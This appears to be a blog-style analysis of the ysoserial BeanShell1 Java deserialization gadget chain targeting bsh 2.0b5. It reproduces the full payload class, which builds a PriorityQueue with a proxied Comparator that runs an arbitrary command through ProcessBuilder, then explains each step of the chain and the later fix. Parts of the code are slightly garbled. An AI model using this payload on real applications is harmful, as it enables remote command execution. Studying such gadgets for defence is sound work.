Version
<!-- https://mvnrepository.com/artifact/org.beanshell/bsh (beanshell1)-->
<dependency>
<groupId>org.beanshell</groupId>
<artifactId>bsh</artifactId>
<version>2.0b5</version>
</dependency>
Usage
beanshell can point to Java code:
package com.kiwi.beanshell;
import bsh.EvalError;
import bsh.Interpreter;
public class BeanShellExample {
public static void main(String[] args) {
Interpreter interpreter = new Interpreter();
try {
// Execute BeanShell script
interpreter.eval("int a = 3; int b = 4; int sum = a + b; System.out.println(sum);");
catch (EvalError evalError) {
evalError.printStackTrace();
}
}
}
Analysis
The payload given by yso is divided into three parts:

package ysoserial.payloads;
import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@Dependencies({"org.beanshell:bsh:2.0b5"})
@Authors({"pwntester", "cschneider4711"})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public BeanShell1() {
}
public PriorityQueue getObject(String command) throws Exception {
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"") +" "}).start();return new Integer(1);}";
Interpreter i = new Interpreter();
i.eval(payload);
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler)Reflections.getField(xt.getClass(), "invocationHandler").get(xt);}
Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(BeanShell1.class, args);
}
}
First part
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"
+
Strings.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\")
.replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"")
+
"}).start();return new Integer(1);}";
// compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}
Interpreter i = new Interpreter();
i.eval(payload);
It mainly constructspayload
Then calleval
Execute it.
Second part
// Dynamic proxy obtained the enhanced object comparator
XThis xt = new XThis(i.getNameSpace(), i);
// Obtain the value of invocationHandler
Field invocationHandler = Reflections.getField(xt.getClass(), "invocationHandler");
InvocationHandler handler = (InvocationHandler)invocationHandler.get(xt);
Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
using dynamic proxy, obtainedinvocationHandler
value, and then enhance to getcomparator
is mainly to pass the comparator.
The third part
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
is mainly part of apache common collections 2.
Overall process analysis
Starting from CC2,readObject
->heapify
->siftDown
->siftDownUsingComparator
to prioritize the PriorityQueuesiftDownUsingComparator
ofcomparator.compare(x, (E) c) <= 0
ofcomparator
call modification to the payload incompare
of the call.
Detailed analysis
1. The first part is put at the end.
2. Instantiate the XThis object, the core part is ini.getNameSpace()
, here is a popular science:
When you call any method through the dynamic proxy object, the invoke method will be called. This is the core part of the Java dynamic proxy mechanism. Specifically, when you call any method on the proxy object, Java's reflection mechanism forwards the call to the invoke method of the InvocationHandler.
Just as in XThis,InvocationHandler
interface, so it will execute the invoke and invokeImpl methods under XThis, which is similar to the normal dynamic proxy start.
3. Why instantiate the data type asComparator
object?
In the overall process analysis, it can be seen that replacing comparator with our own object can call our own compare method.
4. Why the fourth part?
Object[] queue = new Object[]{1,2};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
The most questionable part is these three lines, which mainly modify the value of queue to {1,2} and the value of size to 2.
If the value of size is not modified, thenint i = (size >>> 1) - 1
The value is -1, which cannot enter the loop.
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
At least change the value of size to 2, so that the value of i can be 0. However, an error will occur when it is actually executed, and the error is reported in:
java.util.PriorityQueue#writeObject
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
The queue has a default empty element, causing an out-of-bounds error during the second write, so the queue must have at least two elements.
5. Returning to the first part, why the payload needs to be constructed as:
compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}
The reason is in (java.util.PriorityQueue#siftDownUsingComparator):
if (comparator.compare(x, (E) c) <= 0)
break;
After the comparator is modified to the object we replace, when calling the compare method of the corresponding object and finally returning 1, the purpose is to have a value for comparison with 0 in the above code.
Fix
The Handler interface that can be serialized has been directly removed, that isInvocationHandler
Cannot be serialized, leading tocomparator
Cannot be serialized, resulting inpriorityQueue
Cannot be serialized.

评论已关闭